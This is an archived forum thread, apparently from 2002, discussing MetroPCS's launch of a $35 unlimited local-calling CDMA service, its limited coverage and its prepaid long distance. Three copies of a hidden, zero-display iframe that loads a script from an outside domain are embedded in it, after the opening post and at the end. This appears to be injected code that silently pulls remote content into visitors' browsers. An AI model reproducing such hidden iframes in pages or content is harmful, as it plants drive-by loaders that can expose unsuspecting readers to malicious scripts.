Just so you guys know. There is this company METRO PCS who is started using CDMA2000 1x and offering a pretty sweet plan. $35/month, talk all you want. If I didn't have a contract I'll get this. Only available in few cities. If you are on Miami, you are in luck! No contracts, no credit checks, no compromises. The only bad thing is that they only use that crappy looking Kyocera phone.
No endorsement to this company,....just want somebody to try it and let us know, to jumpship!!!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Uhhh... its not national coverage?! Sounds like another "Cricket" type thing... Same deal. Tehy offer unlimited talking as longas its local calls, and I think the price is about the same.
Mbell, tell us more about the service and your plans. Are you guys planning to get more phones?. Maybe some smartphones, like the Samsung, or the Kyocera (new ones) or Treo?. When is your time frame, to get data services and If they will charge for them, how much?.
Also, When are you deploying the network to other cities?
i would not waste time on metro.. they have a bigger uphill battle since they are a much smaller company than sprint and verizon.. seems that if they are in miami now the folks there may benefit in the short term.. but my money is on sprint and verizon...
Yesh, that's true Marc, but think about ir, my plans is for $40 for 250peak, 2500 w&n, and I go over them every now and then, Imagine not worrying about the time you talk and just use one phone, instead of one landline and the cellline. and for $35 that's good, I don't use the phone to call long distance, I just use it local, and I happen to live in Miami, so, Its awesome, but I do have to see how the service is, ...(that's why I'm trying to tell lot of people at work to get the service, so they can share the experience, before I jumpship. And also, no contract, no credit checks, no compromises, It sounds actually too good to be true.
So I agree with you, I am too a little eskeptical (I hope I spelled it right), that's why I'm trying to tell people to get it, to see how good the service and the connection is. Depending on their reaction, and them getting new cooler phones,.. (maybe the Samsung-I330 or other Smartphones), I'll take my decision. I have some friends that are getting ready to get the service. When I know something more, or have more Info, I'll post it
yeah its just like the cricket service 'cept its 3G.. but they are not offering ay #g services.. but thats a smart move of them to start out with the 3G infrastructure.
but atleast now in the short term, its a niche company, and that would work for some folks who rarely travel out of the area..
cricket was first launched in chatanooga TN and they did very well with that service.
I'm afraid that since I'm building the switch, I don't get much info about marketing. I have asked about new phones and they say "soon" (in other words no one knows when...)
The calling plans are just what they seem, call all you want in a large local area for $35.00/MO. Long distance is .5 a minute pre-paid. FYI the local calling area is MUCH bigger than with landline phones. So those of you that need to carry a spare battery with you because you have your phone perminately attached to your ear will see big savings.
Sacramento and SF will launch soon, but I don't know when we will have data services.
Coverage will start out weak, but will improve quickly as we are adding 5-10 towers a week.
The i300 will work on their network, I've forced mine there (and gotten someone's voicemail ironically). To see for yourself, dial *22804 (boy that guys is gonna be mad. Maybe it'll force the guys at metro to set up the correct translations).
For now, it seems as though they are limited to Atlanta, Miami, and Stockton, CA. Their network is at least partially built here in Sacramento, and in the bay, but a call to local sales droid told me that market launch had been put off 'indefinitely', so you can only buy a phone in Stockton (but they'll give you a Sacramento phone number if you'd like -- go figure)
My friend lives in Stockton, and took the phone to SF, and it seems as though they neglected to build the neighbor
lists in the switch, so calls only last a couple miles before they drop. Also, there's a gaping hole in Oakland, but for a network that hasn't quite launched yet, it appears to be doing OK.
Based on the time delay, it appears as though they only have one switch for Northern California. The LERG appears to be out of date, so it doesn't have it's location, but for $35/month, you get free calling anywhere in Nor Cal. Not a bad deal at all. What's even cooler though is how they handle long distance -- you buy your minutes upfront, and any long distance you talk, comes out of your prepaid airtime (at a reasonable $.05/min) -- great if you want to give this to your kid, and not have to worry about the bill.
The only bill you get is an SMS on your phone -- if you want to view your bill on the internet, or get a paper copy, they charge you. It's going to be interesting to see how Sprint and Verizon handle their 1x data services when Metro turns it on, since I'm sure they planned on charging (like Voicestream) per kb, instead of per minute. My guess is that Metro will allowed unlimited data for another $5 or $10/month...
Last edited by radioactive : 02-19-2002 at 01:59 PM.
FYI: MetroPCS
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Login
Panel
